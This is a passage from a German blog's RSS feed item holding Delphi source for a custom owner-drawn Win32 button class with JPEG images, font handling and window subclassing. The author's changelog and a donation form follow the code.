SendMessage(FHandle, WM_LBUTTONUP, 0, 0);<br />
Exit;<br />
end;<br />
end;<br />
WM_SETFOCUS:<br />
begin<br />
FIsFocused := True;<br />
//ButtonPaint;<br />
ButtonDraw;<br />
(* MsgBeep entfernen *)<br />
PeekMessage(dMsg, 0, WM_CHAR, WM_CHAR, PM_REMOVE);<br />
Exit;<br />
end;<br />
WM_KILLFOCUS:<br />
begin<br />
FIsFocused := False;<br />
//ButtonPaint;<br />
ButtonDraw;<br />
Exit;<br />
end;<br />
end;<br />
(* Nachricht an das Hauptfenster zur�ckgeben *)<br />
Msg.Result := CallWindowProc(FOldWndProc, FHandle, Msg.Msg, Msg.WParam, Msg.LParam);<br />
end;</p>
<p>(* Hilfsfunktion, die eine Struktur vom Type TMethod f�llt und zur�ckliefert  *)<br />
(* Wird gebraucht, um externe funktionen/proceduren an ein Object �bergeben   *)<br />
(* zu k�nnen. (Geh�rt nicht zwingend zu der Klasse)                           *)<br />
function TX000XBtn.SetMethod(Value: Pointer; Data: Pointer = nil): TMethod;<br />
var Method : TMethod;<br />
begin<br />
Method.Code    := Value;<br />
if Assigned(Data) then<br />
Method.Data := Data<br />
else<br />
Method.Data := Self;<br />
Result         := Method;<br />
end;</p>
<p>(* Hilfsfunktion, die eine externe function/procedure vom Type TNotifyEvent   *)<br />
(* einem Klasseninternen property vom gleichen Type zuweist.                  *)<br />
(*******************************************************************************<br />
(* Beispiel:                                                                   *<br />
*                                                                             *<br />
* procedure Test(Sender: Pointer);                                            *<br />
* begin                                                                       *<br />
*    MessageBox(0, PChar(TX000XBtn(Sender).Caption), &#8216;Test&#8217;, 0);              *<br />
* end;                                                                        *<br />
*                                                                             *<br />
* // ..                                                                       *<br />
*                                                                             *<br />
*    Button3         := TX000XBtn.Create(hWnd, Position);                     *<br />
*    Button3.OnClick := Button3.SetNotifyEvent(@Test);                        *<br />
*                                                                             *<br />
* // ..                                                                       *<br />
*                                                                             *<br />
*******************************************************************************)<br />
function TX000XBtn.SetNotifyEvent(Proc: Pointer): TNotifyEvent;<br />
begin<br />
Result := nil;<br />
if Assigned(Proc) then<br />
Result := TNotifyEvent(SetMethod(Proc));<br />
end;</p>
<p>(* Zeichnet den Button *)<br />
procedure TX000XBtn.ButtonDraw(ps : PPaintStruct = nil);<br />
type<br />
PHDC = ^HDC;<br />
var<br />
Brush   : HBRUSH;<br />
dc      : PHDC;<br />
cRect   : PRect;<br />
begin<br />
(* Initialisieren *)<br />
dc     := nil;<br />
cRect  := nil;<br />
try<br />
(* Wenn ps &lt;&gt; nil dann benutzen wir HDC und Rect von der �bergebenen *)<br />
(* PaintStruct *)<br />
if Assigned(ps) then begin<br />
cRect := @ps^.rcPaint;<br />
dc    := @ps^.hdc;<br />
end else begin<br />
(* Wenn ps = nil dann die Vars erzeugen und Zeiger zuweisen *)<br />
New(dc); New(cRect);<br />
(* und display device context vom Button holen *)<br />
dc^ := GetDC(FHandle);<br />
end;</p>
<p>(* cRect mit Abmessungen vom Button f�llen *)<br />
GetClientRect(FHandle, cRect^);<br />
(* Brush mit Farbe FColor erzeugen *)<br />
Brush  := CreateSolidBrush(FColor);<br />
(* F�lle Button mit FColor *)<br />
FillRect(dc^, cRect^, Brush);<br />
(* zum Schluss Freigeben der Resourcen *)<br />
DeleteObject(Brush);<br />
if FJpeg &lt;&gt; &#8221; then begin<br />
(* Kopiere das Bitmap vom Speicher auf den Button (mit Gr��enanpassung) *)<br />
if FBtnState = bsDown then<br />
StretchBlt(dc^, 5, 5, cRect^.Right-10, cRect^.Bottom-10, FdcMemory, 0, 0, CWIDTH, CHEIGHT, SRCCOPY)<br />
else<br />
StretchBlt(dc^, 3, 3, cRect^.Right-6, cRect^.Bottom-6, FdcMemory, 0, 0, CWIDTH, CHEIGHT, SRCCOPY);<br />
end;</p>
<p>(* Button gedr�ckt bzw. oben&#8230; dementsprechend die R�nder zeichen *)<br />
if FBtnState = bsDown then<br />
DrawEdge(dc^, cRect^, EDGE_SUNKEN, BF_RECT)<br />
else<br />
DrawEdge(dc^, cRect^, EDGE_RAISED, BF_RECT );</p>
<p>(* Um bei die Textausgabe auch zu animieren, hier das Rechteck versetzen *)<br />
if FBtnState = bsDown then begin<br />
cRect^.Left   := -2;<br />
cRect^.Top    := -2;<br />
cRect^.Right  := cRect^.Right &#8211; 2;<br />
cRect^.Bottom := cRect^.Bottom &#8211; 2;<br />
end;</p>
<p>(* Textausgabe *)<br />
SelectObject(dc^, FFont);<br />
SetBKMode(dc^, {OPAQUE}TRANSPARENT);<br />
SetTextAlign(dc^, TA_CENTER);<br />
SetTextColor(dc^, FFontColor);<br />
TextOut(dc^, cRect^.Right div 2, cRect^.Top + 6, Pointer(Self.Caption), Length(Self.Caption));</p>
<p>(* FocusRect zeichnen, wenn Button den Focus besitzt *)<br />
if FIsFocused then begin<br />
if FBtnState = bsDown then begin<br />
cRect^.Left   := -1;<br />
cRect^.Top    := -1;<br />
InflateRect(cRect^, -4, -4);<br />
DrawFocusRect(dc^, cRect^);<br />
end else begin<br />
cRect^.Right  := cRect^.Right +1;<br />
cRect^.Bottom := cRect^.Bottom +1;<br />
InflateRect(cRect^, -5, -5);<br />
DrawFocusRect(dc^, cRect^);<br />
end;<br />
end;<br />
finally<br />
(* Wenn ps nil war, haben wir ja Speicher reserviert, den wir jetzt freigeben *)<br />
if Not Assigned(ps) then begin<br />
Dispose(cRect);<br />
ReleaseDC(FHandle, dc^);<br />
Dispose(dc);<br />
end;<br />
end;<br />
end;</p>
<p>(* Initialisieren der Variablen und Erstellen des Buttons; zuweisen der WndProc *)<br />
constructor TX000XBtn.Create(hWndParent: THandle; Position: TPoint);<br />
var TmpHwnd : THandle;<br />
i       : Integer;<br />
begin<br />
{$IFDEF ATOM}<br />
FAtom := GlobalAddAtom(&#8216;X000XBtn&#8217;);<br />
{$ELSE}<br />
FWinProp  := GetMemory(SizeOf(TWinProperty));<br />
FillChar(FWinProp^, SizeOf(TWinProperty), #0);<br />
{$ENDIF}</p>
<p>FOnClick   := nil;<br />
FBtnState  := bsUp;<br />
FOwner     := hWndParent;<br />
FLeft      := Position.X;<br />
FTop       := Position.Y;<br />
FWidth     := CWIDTH;<br />
FHeight    := CHEIGHT;<br />
FIsFocused := False;<br />
FColor     := $00656059; //$00D4A062;<br />
FJpeg      := &#8221;;<br />
FdcMemory  := 0;<br />
FFontName  := &#8216;Courier New&#8217;;<br />
FFontColor := $00FFFFFF;<br />
FFontSize  := -12;<br />
FFont      := CreateFont(FFontSize, 0, 0, 0, FW_NORMAL, 0, 0, 0, ANSI_CHARSET,<br />
OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY,<br />
DEFAULT_PITCH, Pointer(FFontName));<br />
i          := 1;<br />
(* Alle bisher erstellten Buttons z�hlen, damit der Defaultname durch-     *)<br />
(* nummeriert gesetzt werden kann. z.B. Button1, Button2 usw.              *)<br />
//EnumChildWindows(hWndParent)<br />
TmpHwnd    := FindWindowEx(Self.FOwner, 0, &#8216;BUTTON&#8217;, nil);<br />
while (TmpHwnd &lt;&gt; 0) do begin<br />
TmpHwnd := FindWindowEx(Self.FOwner, TmpHwnd, &#8216;BUTTON&#8217;, nil);<br />
inc(i)<br />
end;<br />
FName    := &#8216;X000XButton&#8217; + IntToStr(i);</p>
<p>FCaption := FName;<br />
(* Erstellen des Fensters *)<br />
FHandle  := CreateWindowEx(0, &#8216;BUTTON&#8217;, Pointer(FName), WS_VISIBLE or WS_CHILD or BS_OWNERDRAW or BS_CENTER,<br />
FLeft, FTop,<br />
FWidth, FHeight, hWndParent, 0, hInstance, nil);</p>
<p>(* Neue WndProc f�r dieses Fenster setzen und dabei den Zeiger auf die     *)<br />
(* originale WndProc merken (Entweder im Fenster selber, bzw. als Property *)<br />
(* (zu Identifizieren �ber FAtom) *)<br />
FOldWndProc := Pointer(SetWindowLong(FHandle, GWL_WNDPROC, Integer(@SetWndProc)));</p>
<p>{$IFDEF ATOM}<br />
SetProp(FHandle, PChar(FAtom), Cardinal(Self));<br />
{$ELSE}<br />
FWinProp.Self     := Self;</p>
<p>SetWindowLong(FHandle, GWL_USERDATA, Integer(FWinProp));<br />
{$ENDIF}<br />
end;</p>
<p>(* Reservierten Speicher etc. frei geben, Fenster zerst�ren *)<br />
destructor TX000XBtn.Destroy;<br />
begin<br />
(* Schriftenhandle freigeben *)<br />
DeleteObject(FFont);</p>
<p>(* MemoryDC wieder freigeben *)<br />
if FdcMemory &lt;&gt; 0 then<br />
DeleteDc(FdcMemory);</p>
<p>{$IFDEF ATOM}<br />
(* Zuerst die WndProc vom Mainwindow wieder benutzen, damit wir *)<br />
(* gefahrlos das Property entfernen k�nnen&#8230;                   *)<br />
(*   ( Unsere BtnWndProc w�rde das Property ja ben�tigen, um    *)<br />
(*     das Fenster zu zerst�ren )                               *)<br />
SetWindowLongPtr(FHandle, GWLP_WNDPROC, Integer(FOldWndProc));<br />
(* Jetzt k�nnen wir auch gefahrlos das Property entfernen, es   *)<br />
(* wird ja nicht mehr gebraucht                                 *)<br />
RemoveProp(FHandle, PChar(FAtom));<br />
{$ENDIF}</p>
<p>(* Handle/Fenster zerst�ren *)<br />
DestroyWindow(FHandle);</p>
<p>{$IFDEF ATOM}<br />
(* und zum Schluss auch noch den Referenzz�hler decrementieren *)<br />
(* bzw. das Atom aus der GlobalAtomTable l�schen *)<br />
GlobalDeleteAtom(FAtom);<br />
{$ELSE}<br />
FreeMemory(FWinProp);<br />
{$ENDIF}<br />
inherited;<br />
end;</p>
<p>(*******************************************************************************<br />
*                                                                             *<br />
* Folgende Funktionen dienen dem Setzen der Propertys und sind                *<br />
* selbsterkl�rend                                                             *<br />
*                                                                             *<br />
*******************************************************************************)<br />
function TX000XBtn.GetHeight: Integer;<br />
begin<br />
Result := FHeight;<br />
end;</p>
<p>function TX000XBtn.GetTabStop: Boolean;<br />
begin<br />
FTabSTop := (GetWindowLong(FHandle, GWL_STYLE) and WS_TABSTOP) = WS_TABSTOP;<br />
Result   := FTabStop;<br />
end;</p>
<p>function TX000XBtn.GetWidth: Integer;<br />
begin<br />
Result := FWidth;<br />
end;</p>
<p>procedure TX000XBtn.SetCaption(const Value: String);<br />
begin<br />
if FCaption &lt;&gt; Value then begin<br />
FCaption := Value;<br />
SendMessage(FHandle, WM_SETTEXT, 0, LPARAM(FCaption));<br />
end;<br />
end;</p>
<p>procedure TX000XBtn.SetHeight(const Value: Integer);<br />
begin<br />
if FHeight &lt;&gt; Value then begin<br />
FHeight := Value;<br />
MoveWindow(FHandle, FLeft, FTop, FWidth, FHeight, True);<br />
end;<br />
end;</p>
<p>procedure TX000XBtn.SetTabStop(const Value: Boolean);<br />
begin<br />
if FTabStop &lt;&gt; Value then begin<br />
if Value then begin<br />
(* WS_TABSTOP setzen *)<br />
SetWindowLong(FHandle, GWL_STYLE, GetWindowLong(FHandle, GWL_STYLE) or WS_TABSTOP);<br />
end else<br />
(* WS_TABSTOP entfernen *)<br />
SetWindowLong(FHandle, GWL_STYLE, GetWindowLong(FHandle, GWL_STYLE) xor WS_TABSTOP);<br />
FTabStop := Value;<br />
end;<br />
end;</p>
<p>procedure TX000XBtn.SetWidth(const Value: Integer);<br />
begin<br />
if FWidth &lt;&gt; Value then begin<br />
FWidth := Value;<br />
MoveWindow(FHandle, FLeft, FTop, FWidth, FHeight, True);<br />
end;<br />
end;</p>
<p>procedure TX000XBtn.SetColor(const Value: COLORREF);<br />
begin<br />
if Value &lt;&gt; FColor then begin<br />
FColor := Value;<br />
UpdateWindow(FHandle);<br />
end;<br />
end;</p>
<p>procedure TX000XBtn.SetupMemDC;<br />
var dc       : HDC;<br />
hBmp     : HBITMAP;<br />
begin<br />
(* Den MemDC nur einmal erstellen/initialisieren *)<br />
if FdcMemory = 0 then begin<br />
(* Erstelle &#8220;Zeichenger�t&#8221; im Speicher (kompatibel zur Anzeige) *)<br />
FdcMemory := CreateCompatibleDC(0);<br />
(* Hole Zeichenger�t vom Button *)<br />
dc        := GetDC(FHandle);<br />
(* Erstelle Bitmap (kompatibel zum Zeichenger�t des Buttons) *)<br />
hBmp      := CreateCompatibleBitmap(dc, FWidth, FHeight);<br />
(* wir wollen ein Bitmap im Speicher abbilden *)<br />
SelectObject(FdcMemory, hBmp);<br />
(* Das originale Bitmap brauchen wir nicht mehr, also freigeben *)<br />
DeleteObject(hBmp);<br />
(* Das Zeichenger�t vom Button auch nicht, also auch freigeben *)<br />
ReleaseDC(FHandle, dc);<br />
end;<br />
end;</p>
<p>procedure TX000XBtn.DrawFromMemDC(var pPic: IPicture);<br />
var<br />
hmWidth,<br />
hmHeight : Integer;<br />
rc       : TRect;<br />
begin<br />
if Assigned(pPic) then begin<br />
(* originale Ma�e vom Picture holen *)<br />
if (pPic.get_Width(hmWidth) = S_OK) then<br />
if (pPic.get_Height(hmHeight) = S_OK) then begin<br />
(* Ein Rechteck erstellen, mit den Abma�en vom Button *)<br />
GetWindowRect(FHandle, rc);<br />
(* und letztendlich das Bild &#8220;in den Speicher zeichnen&#8221; *)<br />
pPic.Render(FdcMemory, 0, 0, FWidth, FHeight, 0, hmHeight, hmWidth, -hmHeight, rc);<br />
(* damit gleich aktualisiert wird *)<br />
ButtonDraw;<br />
end;<br />
end;<br />
end;</p>
<p>procedure TX000XBtn._SetMemDCFromFile(const JpegFileName: String);<br />
var pPic     : IPicture;<br />
begin<br />
(* mit dem laden des Bildes anfangen *)<br />
if (LoadPictureFromFile(JpegFileName, pPic)) then begin<br />
SetupMemDC;<br />
DrawFromMemDC(pPic);<br />
end;<br />
end;</p>
<p>procedure TX000XBtn._SetMemDCFromRes(const szResName: String);<br />
var pPic     : IPicture;<br />
begin<br />
(* mit dem laden des Bildes anfangen *)<br />
if (LoadPictureFromRes(hInstance, szResName, &#8216;JPEGDATA&#8217;, pPic)) then begin<br />
SetupMemDC;<br />
DrawFromMemDC(pPic);<br />
end;<br />
end;</p>
<p>procedure TX000XBtn.SetMemDCFromX(const szName: String);<br />
begin<br />
if FJpeg &lt;&gt; szName then begin<br />
FJpeg := szName;<br />
if FileExists(szName) then<br />
_SetMemDCFromFile(szName)<br />
else<br />
_SetMemDCFromRes(szName);<br />
end;<br />
end;</p>
<p>procedure TX000XBtn.SetFontName(const Value: String);<br />
(* CallBack function von EnumFonts&#8230; Mit Hilfe des Typs TFontNameExists *)<br />
(* erkennen wir, ob die gew�nschte Schrifft �berhaupt verf�gbar ist *)<br />
function EnumFontsProc(var LogFont: TLogFont; var TextMetric: TTextMetric;<br />
FontType: Integer; Data: Pointer): Integer; stdcall;<br />
begin<br />
if lstrcmpi(Pointer(TFontNameExists(Data^).Name), LogFont.lfFaceName) = 0 then begin<br />
TFontNameExists(Data^).Exists := True;<br />
(* Der Name wurde gefunden, also aussteigen *)<br />
Result := 0;<br />
end else<br />
(* Der Name wurde noch nicht gefunden, also mit dem n�chsten Fontname weitermachen *)<br />
(* solange jedenfalls noch welche zum vergleichen da sind&#8230; *)<br />
Result := 1;<br />
end;<br />
var<br />
Tmp : PFontNameExists;<br />
dc  : HDC;<br />
begin<br />
if (FFontName &lt;&gt; Value) and (Value &lt;&gt; &#8221;) then begin<br />
(* Neue Variable erzeugen *)<br />
New(Tmp);<br />
try<br />
(* Unsren Typ mit dem Fontnamen den wir suchen f�llen *)<br />
Tmp.Name   := Value;<br />
(* und auf False setzen *)<br />
Tmp.Exists := False;<br />
dc := GetDC(0);<br />
(* steht hiernach die BooleanVar unsres Typs auf True, gibt es die Schrift im System *)<br />
EnumFonts(dc, nil, @EnumFontsProc, Pointer(Tmp));<br />
ReleaseDC(0, dc);<br />
(* und nur in diesem fall �ndern wir die Schrift *)<br />
if Tmp.Exists then begin<br />
(* Altes Object zerst�ren *)<br />
DeleteObject(FFont);<br />
(* Neuen Namen setzen *)<br />
FFontName := Value;<br />
(* und ein Handle auf die Schrift holen *)<br />
FFont := CreateFont(FFontSize, 0, 0, 0, FW_BOLD, 0, 0, 0, ANSI_CHARSET,<br />
OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY,<br />
DEFAULT_PITCH, Pointer(FFontName));<br />
end;<br />
(* damit wir auch sofort was sehen, den Button neu zeichnen lassen *)<br />
ButtonDraw;<br />
finally<br />
(* Speicher von Tmp freigeben *)<br />
Dispose(Tmp);<br />
end;<br />
end;<br />
end;</p>
<p>procedure TX000XBtn.SetFontColor(const Value: COLORREF);<br />
begin<br />
if FFontColor &lt;&gt; Value then begin<br />
FFontColor := value;<br />
ButtonDraw;<br />
end;<br />
end;</p>
<p>{$WARNINGS OFF}<br />
end.<br />
(*******************************************************************************<br />
*    Author:     Peter Welz<br />
*    2005-08-18: X000XActiveX angef�gt, um Pictures in die Buttons laden zu<br />
*                k�nnen<br />
*                FJpeg eingef�hrt, d.h. dem Button kann jetzt ein Jpeg Image<br />
*                zugewiesen werden.<br />
*                Procedure ButtonDraw um FJpeg erweitert<br />
*    Kommentar:     X000XActiveX beinhaltet einen Teil der Delphi �bersetzung<br />
*                   von OCIDL.H bzw. OBJIDL.H speziell IPicture und IStream<br />
*                   wird aber dynamisch geladen.<br />
*    TODO:       &#8211; TabOrder<br />
*                &#8211; Der &#8220;Klick&#8221; gef�llt mir noch nicht (bei schnellen Mausklicks<br />
*                  wirkt der Klick verz�gert)<br />
*                &#8211; Bilder aus Resource (im Moment nur aus Datei)<br />
*                &#8211; OnMouseOver<br />
*                &#8211; Property BtnType der Art (Standard-, Color-, Paint-Button)<br />
*******************************************************************************<br />
*    Author:     Peter Welz<br />
*    2005-08-15: Proceduren ButtonDraw und ButtonPaint zu einer zusammengefasst<br />
*                &#8211;&gt; ButtonDraw<br />
*    Kommentar:<br />
*    TODO:       &#8211; TabOrder<br />
*                &#8211; Bilder<br />
*                &#8211; OnMouseOver<br />
*                &#8211; Property BtnType der Art (Standard-, Color-, Paint-Button)<br />
*******************************************************************************<br />
*    Author:     Peter Welz<br />
*    2005-08-14: Quelltext Kommentierung vervollst�ndigt, unn�tige Kommentare<br />
*                entfernt.<br />
*    Kommentar:<br />
*    TODO:       &#8211; TabOrder<br />
*                &#8211; Bilder<br />
*                &#8211; OnMouseOver<br />
*                &#8211; Property BtnType der Art (Standard-, Color-, Paint-Button)<br />
*******************************************************************************<br />
*    Author:     Peter Welz<br />
*    2005-07-12: OnClick Ereignis kann jetzt von Aussen zugewiesen werden&#8230;<br />
*    Kommentar:     Endlich bin ich dazu mal gekommen, jetzt macht der ganze<br />
*                   Quatsch erst richtig Sinn&#8230;<br />
*                   procedure Test(Sender: Pointer);<br />
*                   begin<br />
*                      MessageBox(hWnd, PChar(TX000XBtn(Sender).Caption), &#8216;Test&#8217;, 0);<br />
*                   end;<br />
*<br />
*                   // ..<br />
*<br />
*                      Button3         := TX000XBtn.Create(hWnd, Position);<br />
*                      Button3.OnClick := Button3.SetNotifyEvent(@Test);<br />
*<br />
*                   // ..<br />
*    TODO:       &#8211; TabOrder<br />
*                &#8211; Bilder<br />
*                &#8211; Property BtnType der Art (Standard-, Color-, Paint-Button)<br />
*******************************************************************************<br />
*    Author:     Peter Welz<br />
*    2005-01-17: FColor, FTabStop implementiert, hierbei ist der Standard<br />
*                Button rausgeflogen<br />
*    Kommentar:<br />
*    TODO:       &#8211; TabOrder<br />
*                &#8211; Bilder<br />
*                &#8211; Property BtnType der Art (Standard-, Color-, Paint-Button)<br />
*                &#8211; OnClick Ereignis von Au�en zuweisen<br />
*******************************************************************************<br />
*    Author:     Peter Welz<br />
*    2004-09-18: Das Speichern des Self-Pointers umgestellt.<br />
*                OldWndProc aus TWinProperty in den gesch�tzten Teil der Klasse<br />
*                gesteckt (FOldWndProc)<br />
*                Globale VAR FAtom eingef�hrt<br />
*                Anhand der Compilerdirective $DEFINE ATOM wird unterschieden,<br />
*                welche Variante zum speichern des Self-Pointers genutzt wird.<br />
*    Kommentar:    Der pointer wird jetzt nicht mehr in GWL_USERDATA gehalten,<br />
*                  sondern in der &#8220;Fenstereigenschaften Liste&#8221;<br />
*                  (siehe MSDN &#8212;&gt; Set/GetProp)<br />
*                  Den Zeiger auf die Originale WndProc brauchte ich nicht mehr<br />
*                  in TWinProperty speichern, da ich ja sowieso an die Klassen-<br />
*                  eigenschaften rankomme. Somit brauche ich nur einen Zeiger<br />
*                  mitf�hren, ich denke mal, die PropertyList ist genau daf�r<br />
*                  gedacht.<br />
*    TODO:       &#8211; OnClick Ereignis von Au�en zuweisen<br />
*                &#8211; Farben<br />
*                &#8211; Bilder<br />
*                &#8211; TabStop<br />
*                &#8211; TabOrder<br />
*******************************************************************************<br />
*    Author:     Peter Welz<br />
*    2004-09-16: Implementierung einer Fensterprocedure die anhand des Self-<br />
*                Pointers die richtige Objectinstanz erkennt&#8230; Jetzt macht die<br />
*                Klasse erst Sinn, da jetzt &#8220;unendlich&#8221; viele Buttons erzeugt<br />
*                und deren Messages verarbeitet werden k�nnen.<br />
*    Kommentar:    Zu jedem Fenster (Buttons sind auch nur Fenster) kann der<br />
*                  Entwickler einen eigenen 32-Bit Wert (4 Byte) abspeichern.<br />
*                       &#8212;&gt; Stichwort: GWL_USERDATA (siehe: MSDN) &lt;&#8212;<br />
*                  Solange das Fenster existiert, existiert auch dieser Wert.<br />
*                  Genau sowas hatte mir gefehlt, um an die Referenz des Objectes<br />
*                  zu kommen. Ich speicher jetzt einfach den Selfpointer und<br />
*                  den Pointer auf die Original WndProc in einer Struktur (siehe<br />
*                  TWinProperty). In dem Fenster selber speicher (s.o.) ich einen<br />
*                  Pointer auf diese Struktur. Somit bin ich in der Lage,<br />
*                  jeder Zeit an mein Object zu kommen, also auch in der WndProc.<br />
*    TODO:       &#8211; OnClick Ereignis von Au�en zuweisen<br />
*                &#8211; Farben<br />
*                &#8211; Bilder<br />
*                &#8211; TabStop<br />
*                &#8211; TabOrder<br />
*******************************************************************************<br />
*    Author:     Peter Welz<br />
*    2004-08-14: Erstellen der Klasse, Windows Standard-Button<br />
*    Kommentar:    Es kann bis jetzt nur ein Button erstellt werden, da die<br />
*                  Nachrichten f�r den Button noch nicht �ber die Klasse ge-<br />
*                  h�ndelt werden. Habe noch keinen Weg gefunden, wie ich<br />
*                  in der WndProc Funktion des Buttons an die Referenz des<br />
*                  Objektes rankomme.<br />
*    TODO:       &#8211; Eigene WndProc f�r die Klasse (WICHTIG, da sonst Sinnlos)<br />
*                &#8211; OnClick Ereignis von Au�en zuweisen<br />
*                &#8211; Farben<br />
*                &#8211; Bilder<br />
*                &#8211; TabStop<br />
*                &#8211; TabOrder<br />
*******************************************************************************)</p>
<p>Gefallen Euch meine sourcen &#8211; freue ich mich über Eure Spende  &#8211;  Danke!</p>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input name="cmd" type="hidden" value="_s-xclick" />
<input name="hosted_button_id" type="hidden" value="4217138" />
<input name="submit" src="https://www.paypal.com/de_DE/DE/i/btn/btn_donate_SM.gif" type="image" /> <img src="https://www.paypal.com/de_DE/i/scr/pixel.gif" border="0" alt="" width="1" height="1" /><br />
</form>
]]></content:encoded>
			<wfw:commentRss>http://www.gods4u.de/x000x-btnpas/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
